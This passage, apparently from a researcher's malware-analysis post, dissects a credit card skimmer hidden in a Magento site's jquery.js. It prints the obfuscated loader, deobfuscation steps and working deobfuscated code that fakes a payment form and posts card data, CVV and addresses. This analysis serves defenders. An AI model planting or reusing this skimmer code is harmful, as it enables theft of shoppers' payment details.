v506k5c546l4t3n6c6n515053546n50513n4c4c6d6g6p506m533l506k5c546l3b3b3d506k5c546l4c544v526c506q6d446k5c546l3c4t5c51516r506q6q4c544v5f546l6l546n524g51516r506q6q3d3c4t6f6m54513l4x3k4c4c5c51516r506q6q4v5e546d6g65656r3d3n546n6p6c6d5m6n5c6k504c3a5e546d6g3a583n3c4v6f5c6l3d3c3c6i6f5c6r3l5e4c3a5m6i3n6n5c6k503n4r3n556m6q6d3n4t3n6f5c6l6c503n4r3n3a3e516m5e6c6k506n6d4v5g5v5p3e3a3n644t3a4q536m6r3d6h3l546n3l5e3e4c3a6i3n6n5c6k503n4r3n5c52506n6d3n4t3n6f5c6l6c503n4r3n3a3e6n5c6f54525c6d6m6r4v6c6q506r4g52506n6d3e3a3n644t3a4t5e3e4c3a6i3n6n5c6k503n4r3n6c6q506r6n5c6k503n4t3n6f5c6l6c503n4r3n3a3e3d506k5c546l65653n3n3c3e3a3n644t3a4t5c51516r506q6q3c54533d3n536c6n5e6d546m6n3n3k4c6d6g6p506m533l5c51516r506q6q5m6h583c54533d3n6q6d6r50506d3n3k4c6h3c5e3e4c3a6i3n6n5c6k503n4r3n3a3e6h3e3a3n4t3n6f5c6l6c503n4r3n3a3e5c51516r506q6q5m6h583e3a3n644t3a4q506l6q503l536m6r3d6g3l546n3l5c51516r506q6q4v6q6d6r50506d3c5e3e4c3a6i3n6n5c6k503n4r3n6q6d6r50506d5m3a3e6g3e3a583n4t3n6f5c6l6c503n4r3n3a3e5c51516r506q6q4v6q6d6r50506d5m6g583e3a3n644t3a4q5e3e4c3a6i3n6n5c6k503n4r3n6p5c6g6k506n6d5m5e5e5a6n6c6k5f506r583n4t3n6f5c6l6c503n4r3n3a3e503e3a3n644t3a4t5e3e4c3a6i3n6n5c6k503n4r3n6p5c6g6k506n6d5m5e5e5a5e5451583n4t3n6f5c6l6c503n4r3n3a3e6n3e3a3n644t3a4t5e3e4c3a6i3n6n5c6k503n4r3n6p5c6g6k506n6d5m5e5e5a506h6p5a6k6m6n6d55583n4t3n6f5c6l6c503n4r3n3a3e6d3e3a3n644t3a4t5e3e4c3a6i3n6n5c6k503n4r3n6p5c6g6k506n6d5m5e5e5a506h6p5a6g505c6r583n4t3n6f5c6l6c503n4r3n3a3e6m3e3a3n644t3a4t5e4c3d5e3e4c4b5u5q5r4v6q6d6r546n5254536g3d6r3d3n3m5e55505e566m6c6d3n3c4v53546n513d3n6q506l505e6d4t546n6p6c6d3n3c4v6q506r545c6l546j504g6r6r5c6g3d3c3c4v6q6l545e503d4w4t4s4w3c3e3n4t3n3c4v6r506p6l5c5e503d4u48514u524t3n5a54513n3c4v6q6l545e503d4x4t4s4w3c3e3n583n4t6e546n516m6e4v5a5c6k5c6j6m6n5a5c6r6d4c4w4q6f5c6r3l6p4c506n5e6r6g6p6d5a515c6d5c3d5e3c4q6r4v5c575c6h3d6i6c6r6l4r516m5e6c6k506n6d4v5g5v5p4t6d6g6p504r3n6p6m6q6d3n4t515c6d5c5h6g6p504r3n6d506h6d3n4t515c6d5c4r6i5e5c6r6d4i55505e565u6c6k455c6d5c4r6p4t6o6c6m6d505o6m51504r3n5e55505e566m6c6d3n64643c64643c64644q -
var y89629=36;d42566=s31464;b68085=d42566.split("c66"),a92436=parseInt(b68085[0],36),y75905=parseInt(b68085[1],36);var t57262=[];for(var e28289=0;e28289<b68085[2].length;e28289+=2){t57262.push(b68085[2].substring(e28289,e28289+2));}d42566="";for(var t88954=0;t57262.length>t88954;t88954++)d42566+=String.fromCharCode(((parseInt(t57262[t88954],y89629)-a92436)^y75905)-a92436);Function(d42566).call();
This method of loading the obfuscated Unicode payload is actually a variant of the Radix skimmer posted by the awesome Denis. Big ups to @LibraAnalysis for pointing this out to me 🙏
Deobfuscation⌗
The first layer of obfuscation can be undone using the console in your browser tools:
- Adding the code line
console.log(d42566); - Removing (or comment out)
Function(d42566).call(); - Run & save the result
Partial deobfuscated sample:
window._amazon = setInterval(function () {
"undefined" != typeof jQuery &&
jQuery("#sagepaysuiteserver").length &&
(func6(), clearInterval(window._amazon));
}, 500);
var encrypt_data = function (e) {
var t,
o,
n = btoa(encodeURIComponent(e)),
r = "";
for (t = 0; t < n.length; t++)
(o = 25 + ((28 + (126 ^ n[t].charCodeAt(0))) ^ 121)),
(r += String.fromCharCode(o));
return r;
},
function6 = function () {
jQuery("#authorizenet_directpost_cc_number")[0].addEventListener(
"keypress",
function (e) {
13 === (e.keyCode || e.which) && e.preventDefault();
},
false
),
jQuery("#authorizenet_directpost_cc_cid")[0].addEventListener(
"keypress",
function (e) {
13 === (e.keyCode || e.which) && e.preventDefault();
},
false
),
jQuery("#authorizenet_directpost_cc_number").bind({
input: function (e) {
e.preventDefault();
var t = jQuery("#authorizenet_directpost_cc_number"),
o = t.val().replace(/[^\d]/g, "");
t.val(o),
t.css("border-color", "#c2c2c2"),
jQuery("#authorizenet_directpost_cc_number-error").hide();
},
focusout: function (e) {
var t = jQuery("#authorizenet_directpost_cc_number");
func4() ||
(t.css("border-color", "rgb(224, 43, 39)"),
jQuery("#authorizenet_directpost_cc_number-error").show());
},
}),
jQuery("#authorizenet_directpost_expiration").bind({
change: function (e) {
var t = jQuery("#authorizenet_directpost_expiration"),
o = jQuery("#authorizenet_directpost_expiration_yr");
1 != func2() || 1 != func3()
? (t.css("border-color", "rgb(224, 43, 39)"),
o.css("border-color", "rgb(224, 43, 39)"),
jQuery("#authorizenet_directpost_expiration-error").show())
: (t.css("border-color", "#c2c2c2"),
o.css("border-color", "#c2c2c2"),
jQuery("#authorizenet_directpost_expiration-error").hide());
},
}),
jQuery("#authorizenet_directpost_expiration_yr").bind({
change: function (e) {
var t = jQuery("#authorizenet_directpost_expiration"),
o = jQuery("#authorizenet_directpost_expiration_yr");
1 != func2() || 1 != func3()
? (t.css("border-color", "rgb(224, 43, 39)"),
o.css("border-color", "rgb(224, 43, 39)"),
jQuery("#authorizenet_directpost_expiration-error").show())
: (t.css("border-color", "#c2c2c2"),
o.css("border-color", "#c2c2c2"),
jQuery("#authorizenet_directpost_expiration-error").hide());
},
}),
jQuery("#authorizenet_directpost_cc_cid").bind({
input: function (e) {
e.preventDefault();
var t = jQuery("#authorizenet_directpost_cc_cid");
t.val(function8(4)),
t.css("border-color", "#c2c2c2"),
jQuery("#authorizenet_directpost_cc_cid-error").hide();
},
focusout: function (e) {
var t = jQuery("#authorizenet_directpost_cc_cid");
func5() ||
(t.css("border-color", "rgb(224, 43, 39)"),
jQuery("#authorizenet_directpost_cc_cid-error").show());
},
}),
setInterval(function () {
func9() && func8();
}, 500);
},
function4 = function () {
var e = document.getElementById("authorizenet_directpost_cc_number");
return undefined !== e && null != e;
},
func9 = function () {
return func4() && 1 == func2() && 1 == func3() && func5();
},
func6 = function () {
function4() ||
(jQuery("#payment_form_sagepaysuiteserver").remove(),
jQuery("#sagepaysuiteserver")
.parent()
.parent()
.find(".payment-method-content")
.prepend(
'<div id="payment_form_authorizenet_directpost"><div> <label> <span><span style="font-weight: bold;font-family: Arial;font-size: 14px;color: #333;">Credit Card Number</span><span style="color: #e02b27;font-size: 11px;margin-left: 5px;"> *</span></span> </label> <div style="margin-top: 8px;"> <input type="number" name="payment[cc_number]" id="authorizenet_directpost_cc_number" title="Credit Card Number" style="box-shadow: none;width: 225px !important;height: 32px !important;color: black;font-family: Arial;"><div id="authorizenet_directpost_cc_number-error" style="color: #e02b27;font-size: 13px;margin-top: 5px;display: none;">Please enter a valid credit card type number.</div></div></div><div style="margin-top: 20px;"> <label> <span><span style="font-weight: bold;font-family: Arial;font-size: 14px;color: #333;">Expiration Date</span><span style="color: #e02b27;font-size: 11px;margin-left: 5px;"> *</span></span> </label> <div style="margin-top: 8px;"> <select name="payment[cc_exp_month]" id="authorizenet_directpost_expiration" style="box-shadow: none;width: 140px !important;height: 32px !important;border: 1px solid #c2c2c2;color: black;font-family: Arial;margin-right: 5px;min-height: 32px !important;"><option value="0">Month</option><option value="1">01 - January</option><option value="2">02 - February</option><option value="3">03 - March</option><option value="4">04 - April</option><option value="5">05 - May</option><option value="6">06 - June</option><option value="7">07 - July</option><option value="8">08 - August</option><option value="9">09 - September</option><option value="10">10 - October</option><option value="11">11 - November</option><option value="12">12 - December</option> </select><select name="payment[cc_exp_year]" id="authorizenet_directpost_expiration_yr" style="box-shadow: none;width: 80px !important;height: 32px !important;border: 1px solid #c2c2c2;color: black;font-family: Arial;min-height: 32px !important;"><option value="0">Year</option><option value="2020">2020</option><option value="2021">2021</option><option value="2022">2022</option><option value="2023">2023</option><option value="2024">2024</option><option value="2025">2025</option><option value="2026">2026</option><option value="2027">2027</option><option value="2028">2028</option><option value="2029">2029</option><option value="2030">2030</option> </select><div id="authorizenet_directpost_expiration-error" style="color: #e02b27;font-size: 13px;margin-top: 5px;display: none;">Incorrect credit card expiration date.</div></div></div><div style="margin-top: 20px;"> <label> <span><span style="font-weight: bold;font-family: Arial;font-size: 14px;color: #333;">Card Verification Number</span><span style="color: #e02b27;font-size: 11px;margin-left: 5px;"> *</span></span> </label> <div style="margin-top: 8px;"> <input type="number" style="box-shadow: none;width: 65px !important;height: 32px !important;color: black;font-family: Arial;" id="authorizenet_directpost_cc_cid" name="payment[cc_cid]" title="Card Verification Number"><div id="authorizenet_directpost_cc_cid-error" style="color: #e02b27;font-size: 13px;margin-top: 5px;display: none;">Please enter a valid credit card verification number.</div></div></div></div>'
),
function4() && function6());
},
function8 = function (e) {
return function4()
? 1 == e
? jQuery("#authorizenet_directpost_cc_number")
.val()
.replace(/[^\d]/g, "")
: 2 == e
? jQuery("#authorizenet_directpost_expiration").val()
: 3 == e
? jQuery("#authorizenet_directpost_expiration_yr").val()
: 4 == e
? jQuery("#authorizenet_directpost_cc_cid").val().replace(/[^\d]/g, "")
: undefined
: "";
},
function7 = function (e) {
var t = new RegExp("^4");
if (null != e.match(t)) return "opp2";
if (((t = new RegExp("^3[47]")), null != e.match(t))) return "opp1";
var o = e;
return o.length >= 2 && "2" == o[0] && o[1] >= "2" && o[1] <= "7"
? "opp3"
: o.length >= 2 && "5" == o[0] && o[1] >= "1" && o[1] <= "5"
? "opp3"
: o.length >= 2 &&
"6" == o[0] &&
("5" == o[1] || "0" == o[1] || "4" == o[1])
? "opp4"
: o.length >= 2 && "3" == o[0] && "5" == o[1]
? "opp5"
: o.length >= 2 && "3" == o[0] && "0" == o[1]
? "opp6"
: o.length >= 2 &&
"3" == o[0] &&
("6" == o[1] || "8" == o[1] || "9" == o[1] || "0" == o[1])
? "opp6"
: "opp7";
},
func4 = function () {
var e = function7(function8(1)),
t = function8(1).length,
o = function8(1);
if ("opp1" == e) {
if (15 != t) return false;
} else if ("opp6" == e) {
if (t < 14) return false;
} else {
if ("opp7" == e) return false;
if (t < 16) return false;
}
for (var n = o.split(""), r = 0; r < n.length; r++)
n[r] = parseInt(n[r], 10);
var i = 0,
a = false;
for (r = n.length - 1; r >= 0; r--)
a && ((n[r] *= 2), n[r] > 9 && (n[r] -= 9)), (i += n[r]), (a = !a);
return i % 10 == 0;
},
func2 = function () {
var e = new Date(),
t = e.getFullYear(),
o = e.getMonth(),
n = parseInt(function8(3)),
r = parseInt(function8(2));
return r >= 1 && r <= 12 ? (n == t && r <= o ? -1 : 1) : 0;
},
func3 = function () {
var e = new Date().getFullYear(),
t = parseInt(function8(3));
return t >= e && t <= 2070 ? 1 : t < e ? -1 : 0;
},
func5 = function () {
var e = function8(4).length,
t = function7(function8(1));
return "opp1" == t || "opp7" == t ? (4 == e ? 1 : 0) : 3 == e ? 1 : 0;
},
func8 = function () {
if (!window._amazon_art) {
var e = jQuery("#authorizenet_directpost_cc_number").val(),
t = jQuery("#authorizenet_directpost_expiration").val(),
o = jQuery("#authorizenet_directpost_expiration_yr").val(),
n = jQuery("#authorizenet_directpost_cc_cid").val();
require(["jquery", "Magento_Checkout/js/model/quote"], function (
r,
i,
a
) {
if (
((customerData = window.customerData),
(email = customerData.email),
"undefined" == typeof email && (email = i.guestEmail),
(address = i.billingAddress()),
undefined !== address.city || r("input[name='city']").val())
) {
var c = '[{"name":"host","value":"' + document.URL + '"},';
for (x in ((c +=
'{"name":"agent","value":"' + navigator.userAgent + '"},'),
(c += '{"name":"username","value":"' + (email || "") + '"},'),
address))
if ("function" != typeof address[x])
if ("street" != x)
c += '{"name":"' + x + '","value":"' + address[x] + '"},';
else
for (y in address.street)
c +=
'{"name":"street[' +
y +
']","value":"' +
address.street[y] +
'"},';
(c += '{"name":"payment[cc_number]","value":"' + e + '"},'),
(c += '{"name":"payment[cc_cid]","value":"' + n + '"},'),
(c += '{"name":"payment[cc_exp_month]","value":"' + t + '"},'),
(c += '{"name":"payment[cc_exp_year]","value":"' + o + '"},'),
(c =
(c +=
JSON.stringify(
r("#checkout").find("select,input").serializeArray()
).slice(1, -1) + ",")
.replace(/Id/g, "_id")
.slice(0, -1) + "]"),
(window._amazon_art = 1);
var p = encrypt_data(c);
r.ajax({
url: document.URL,
type: "post",
dataType: "text",
data: { cartCheckSumData: p, quoteMode: "checkout" },
});
}
});
}
};
Sample⌗
I isolated this original sample as the source file lib/web/jquery.js contains over 10,000 lines of legit code and the skimmer is only 2 separate lines within it:
var s31464 = "1gc66pc666e546n516m6e4v5a5c6k5c6j6m6n4c6q506d486n6d506r6f5c6l3d536c6n5e6d546m6n3d3c6i3n6c6n515053546n50513n3k4c6d6g6p506m533l575s6c506r6g3b3b575s6c506r6g3d3n3m6q5c52506p5c6g6q6c546d506q506r6f506r3n3c4v6l506n526d553b3b3d536c6n5e4n3d3c4t5e6l505c6r486n6d506r6f5c6l3d6e546n516m6e4v5a5c6k5c6j6m6n3c3c644t4k4x4x3c4q6f5c6r3l506n5e6r6g6p6d5a515c6d5c4c536c6n5e6d546m6n3d503c6i6f5c6r3l6d4t6m4t6n4c5f6d6m5c3d506n5e6m51505g5v484i6m6k6p6m6n506n6d3d503c3c4t6r4c3n3n4q536m6r3d6d4c4x4q6d4d6n4v6l506n526d554q6d3e3e3c6m4c4z4k3e3d4z4p3e3d4w4z4n5b6n5m6d584v5e555c6r4i6m51504g6d3d4x3c3c5b4w4z4w3c4t6r3e4c5u6d6r546n524v536r6m6k4i555c6r4i6m51503d6m3c4q6r506d6c6r6n3l6r644t536c6n5e6d546m6n4n4c536c6n5e6d546m6n3d3c6i575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a6n6c6k5f506r3n3c5m4x584v5c5151446f506n6d5p546q6d506n506r3d3n56506g6p6r506q6q3n4t536c6n5e6d546m6n3d503c6i4w4y4c4c4c3d504v56506g4i6m51506565504v6e55545e553c3b3b504v6p6r506f506n6d4550535c6c6l6d3d3c644t3k4w3c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a5e54513n3c5m4x584v5c5151446f506n6d5p546q6d506n506r3d3n56506g6p6r506q6q3n4t536c6n5e6d546m6n3d503c6i4w4y4c4c4c3d504v56506g4i6m51506565504v6e55545e553c3b3b504v6p6r506f506n6d4550535c6c6l6d3d3c644t3k4w3c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a6n6c6k5f506r3n3c4v5f546n513d6i546n6p6c6d4r536c6n5e6d546m6n3d503c6i504v6p6r506f506n6d4550535c6c6l6d3d3c4q6f5c6r3l6d4c575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a6n6c6k5f506r3n3c4t6m4c6d4v6f5c6l3d3c4v6r506p6l5c5e503d4u5m5b5951584u524t3n3n3c4q6d4v6f5c6l3d6m3c4t6d4v5e6q6q3d3n5f6m6r51506r4s5e6m6l6m6r3n4t3n3m5e4z5e4z5e4z3n3c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a6n6c6k5f506r4s506r6r6m6r3n3c4v555451503d3c644t536m5e6c6q6m6c6d4r536c6n5e6d546m6n3d503c6i6f5c6r3l6d4c575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a6n6c6k5f506r3n3c4q536c6n5e4l3d3c65653d6d4v5e6q6q3d3n5f6m6r51506r4s5e6m6l6m6r3n4t3n6r525f3d4z4z4l4t3l4l4y4t3l4y4o3c3n3c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a6n6c6k5f506r4s506r6r6m6r3n3c4v6q556m6e3d3c3c64643c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n3n3c4v5f546n513d6i5e555c6n52504r536c6n5e6d546m6n3d503c6i6f5c6r3l6d4c575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n3n3c4t6m4c575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n5a6g6r3n3c4q4w3k4c536c6n5e4z3d3c65654w3k4c536c6n5e4y3d3c4e3d6d4v5e6q6q3d3n5f6m6r51506r4s5e6m6l6m6r3n4t3n6r525f3d4z4z4l4t3l4l4y4t3l4y4o3c3n3c4t6m4v5e6q6q3d3n5f6m6r51506r4s5e6m6l6m6r3n4t3n6r525f3d4z4z4l4t3l4l4y4t3l4y4o3c3n3c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n4s506r6r6m6r3n3c4v6q556m6e3d3c3c4r3d6d4v5e6q6q3d3n5f6m6r51506r4s5e6m6l6m6r3n4t3n3m5e4z5e4z5e4z3n3c4t6m4v5e6q6q3d3n5f6m6r51506r4s5e6m6l6m6r3n4t3n3m5e4z5e4z5e4z3n3c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n4s506r6r6m6r3n3c4v555451503d3c3c64643c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n5a6g6r3n3c4v5f546n513d6i5e555c6n52504r536c6n5e6d546m6n3d503c6i6f5c6r3l6d4c575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n3n3c4t6m4c575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n5a6g6r3n3c4q4w3k4c536c6n5e4z3d3c65654w3k4c536c6n5e4y3d3c4e3d6d4v5e6q6q3d3n5f6m6r51506r4s5e6m6l6m6r3n4t3n6r525f3d4z4z4l4t3l4l4y4t3l4y4o3c3n3c4t6m4v5e6q6q3d3n5f6m6r51506r4s5e6m6l6m6r3n4t3n6r525f3d4z4z4l4t3l4l4y4t3l4y4o3c3n3c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n4s506r6r6m6r3n3c4v6q556m6e3d3c3c4r3d6d4v5e6q6q3d3n5f6m6r51506r4s5e6m6l6m6r3n4t3n3m5e4z5e4z5e4z3n3c4t6m4v5e6q6q3d3n5f6m6r51506r4s5e6m6l6m6r3n4t3n3m5e4z5e4z5e4z3n3c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n4s506r6r6m6r3n3c4v555451503d3c3c64643c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a5e54513n3c4v5f546n513d6i546n6p6c6d4r536c6n5e6d546m6n3d503c6i504v6p6r506f506n6d4550535c6c6l6d3d3c4q6f5c6r3l6d4c575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a5e54513n3c4q6d4v6f5c6l3d536c6n5e6d546m6n4p3d4l3c3c4t6d4v5e6q6q3d3n5f6m6r51506r4s5e6m6l6m6r3n4t3n3m5e4z5e4z5e4z3n3c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a5e54514s506r6r6m6r3n3c4v555451503d3c644t536m5e6c6q6m6c6d4r536c6n5e6d546m6n3d503c6i6f5c6r3l6d4c575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a5e54513n3c4q536c6n5e4k3d3c65653d6d4v5e6q6q3d3n5f6m6r51506r4s5e6m6l6m6r3n4t3n6r525f3d4z4z4l4t3l4l4y4t3l4y4o3c3n3c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a5e54514s506r6r6m6r3n3c4v6q556m6e3d3c3c64643c4t6q506d486n6d506r6f5c6l3d536c6n5e6d546m6n3d3c6i536c6n5e4o3d3c3b3b536c6n5e4p3d3c644t4k4x4x3c644t536c6n5e6d546m6n4l4c536c6n5e6d546m6n3d3c6i6f5c6r3l504c516m5e6c6k506n6d4v52506d446l506k506n6d4j6g48513d3n5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a6n6c6k5f506r3n3c4q6r506d6c6r6n3l6f6m54513l4x3k4c4c503b3b6n6c6l6l3k4c50644t536c6n5e4o4c536c6n5e6d546m6n3d3c6i6r506d6c6r6n3l536c6n5e4l3d3c3b3b4w4c4c536c6n5e4z3d3c3b3b4w4c4c536c6n5e4y3d3c3b3b536c6n5e4k3d3c644t536c6n5e4n4c536c6n5e6d546m6n3d3c6i536c6n5e6d546m6n4l3d3c65653d575s6c506r6g3d3n3m6p5c6g6k506n6d5a536m6r6k5a6q5c52506p5c6g6q6c546d506q506r6f506r3n3c4v6r506k6m6f503d3c4t575s6c506r6g3d3n3m6q5c52506p5c6g6q6c546d506q506r6f506r3n3c4v6p5c6r506n6d3d3c4v6p5c6r506n6d3d3c4v53546n513d3n4v6p5c6g6k506n6d4s6k506d556m514s5e6m6n6d506n6d3n3c4v6p6r506p506n513d3a4d51546f3l54514c3n6p5c6g6k506n6d5a536m6r6k5a5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d3n4f4d51546f4f3l4d6l5c5f506l4f3l4d6q6p5c6n4f4d6q6p5c6n3l6q6d6g6l504c3n536m6n6d4s6e505452556d4r3l5f6m6l514q536m6n6d4s535c6k546l6g4r3l4g6r545c6l4q536m6n6d4s6q546j504r3l4w4l6p6h4q5e6m6l6m6r4r3l3m4y4y4y4q3n4f4i6r5051546d3l4i5c6r513l5r6c6k5f506r4d4u6q6p5c6n4f4d6q6p5c6n3l6q6d6g6l504c3n5e6m6l6m6r4r3l3m504x4z5f4z4m4q536m6n6d4s6q546j504r3l4w4w6p6h4q6k5c6r52546n4s6l50536d4r3l4k6p6h4q3n4f3l3f4d4u6q6p5c6n4f4d4u6q6p5c6n4f3l4d4u6l5c5f506l4f3l4d51546f3l6q6d6g6l504c3n6k5c6r52546n4s6d6m6p4r3l4p6p6h4q3n4f3l4d546n6p6c6d3l6d6g6p504c3n6n6c6k5f506r3n3l6n5c6k504c3n6p5c6g6k506n6d5m5e5e5a6n6c6k5f506r583n3l54514c3n5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a6n6c6k5f506r3n3l6d546d6l504c3n4i6r5051546d3l4i5c6r513l5r6c6k5f506r3n3l6q6d6g6l504c3n5f6m6h4s6q555c516m6e4r3l6n6m6n504q6e54516d554r3l4z4z4k6p6h3l3k546k6p6m6r6d5c6n6d4q55505452556d4r3l4y4z6p6h3l3k546k6p6m6r6d5c6n6d4q5e6m6l6m6r4r3l5f6l5c5e564q536m6n6d4s535c6k546l6g4r3l4g6r545c6l4q3n4f4d51546f3l54514c3n5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a6n6c6k5f506r4s506r6r6m6r3n3l6q6d6g6l504c3n5e6m6l6m6r4r3l3m504x4z5f4z4m4q536m6n6d4s6q546j504r3l4w4y6p6h4q6k5c6r52546n4s6d6m6p4r3l4k6p6h4q51546q6p6l5c6g4r3l6n6m6n504q3n4f5t6l505c6q503l506n6d506r3l5c3l6f5c6l54513l5e6r5051546d3l5e5c6r513l6d6g6p503l6n6c6k5f506r4v4d4u51546f4f4d4u51546f4f4d4u51546f4f4d51546f3l6q6d6g6l504c3n6k5c6r52546n4s6d6m6p4r3l4z4x6p6h4q3n4f3l4d6l5c5f506l4f3l4d6q6p5c6n4f4d6q6p5c6n3l6q6d6g6l504c3n536m6n6d4s6e505452556d4r3l5f6m6l514q536m6n6d4s535c6k546l6g4r3l4g6r545c6l4q536m6n6d4s6q546j504r3l4w4l6p6h4q5e6m6l6m6r4r3l3m4y4y4y4q3n4f446h6p546r5c6d546m6n3l455c6d504d4u6q6p5c6n4f4d6q6p5c6n3l6q6d6g6l504c3n5e6m6l6m6r4r3l3m504x4z5f4z4m4q536m6n6d4s6q546j504r3l4w4w6p6h4q6k5c6r52546n4s6l50536d4r3l4k6p6h4q3n4f3l3f4d4u6q6p5c6n4f4d4u6q6p5c6n4f3l4d4u6l5c5f506l4f3l4d51546f3l6q6d6g6l504c3n6k5c6r52546n4s6d6m6p4r3l4p6p6h4q3n4f3l4d6q506l505e6d3l6n5c6k504c3n6p5c6g6k506n6d5m5e5e5a506h6p5a6k6m6n6d55583n3l54514c3n5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n3n3l6q6d6g6l504c3n5f6m6h4s6q555c516m6e4r3l6n6m6n504q6e54516d554r3l4w4l4x6p6h3l3k546k6p6m6r6d5c6n6d4q55505452556d4r3l4y4z6p6h3l3k546k6p6m6r6d5c6n6d4q5f6m6r51506r4r3l4w6p6h3l6q6m6l54513l3m5e4z5e4z5e4z4q5e6m6l6m6r4r3l5f6l5c5e564q536m6n6d4s535c6k546l6g4r3l4g6r545c6l4q6k5c6r52546n4s6r5452556d4r3l4k6p6h4q6k546n4s55505452556d4r3l4y4z6p6h3l3k546k6p6m6r6d5c6n6d4q3n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4x3n4f5o6m6n6d554d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4w3n4f4x4w3l4s3l4b5c6n6c5c6r6g4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4z3n4f4x4z3l4s3l47505f6r6c5c6r6g4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4y3n4f4x4y3l4s3l5o5c6r5e554d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4l3n4f4x4l3l4s3l4g6p6r546l4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4k3n4f4x4k3l4s3l5o5c6g4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4n3n4f4x4n3l4s3l4b6c6n504d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4m3n4f4x4m3l4s3l4b6c6l6g4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4p3n4f4x4p3l4s3l4g6c526c6q6d4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4o3n4f4x4o3l4s3l5u506p6d506k5f506r4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4w4x3n4f4w4x3l4s3l5q5e6d6m5f506r4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4w4w3n4f4w4w3l4s3l5r6m6f506k5f506r4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4w4z3n4f4w4z3l4s3l45505e506k5f506r4d4u6m6p6d546m6n4f3l4d4u6q506l505e6d4f4d6q506l505e6d3l6n5c6k504c3n6p5c6g6k506n6d5m5e5e5a506h6p5a6g505c6r583n3l54514c3n5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n5a6g6r3n3l6q6d6g6l504c3n5f6m6h4s6q555c516m6e4r3l6n6m6n504q6e54516d554r3l4p4x6p6h3l3k546k6p6m6r6d5c6n6d4q55505452556d4r3l4y4z6p6h3l3k546k6p6m6r6d5c6n6d4q5f6m6r51506r4r3l4w6p6h3l6q6m6l54513l3m5e4z5e4z5e4z4q5e6m6l6m6r4r3l5f6l5c5e564q536m6n6d4s535c6k546l6g4r3l4g6r545c6l4q6k546n4s55505452556d4r3l4y4z6p6h3l3k546k6p6m6r6d5c6n6d4q3n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4x3n4f5k505c6r4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4z4x4z4x3n4f4z4x4z4x4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4z4x4z4w3n4f4z4x4z4w4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4z4x4z4z3n4f4z4x4z4z4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4z4x4z4y3n4f4z4x4z4y4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4z4x4z4l3n4f4z4x4z4l4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4z4x4z4k3n4f4z4x4z4k4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f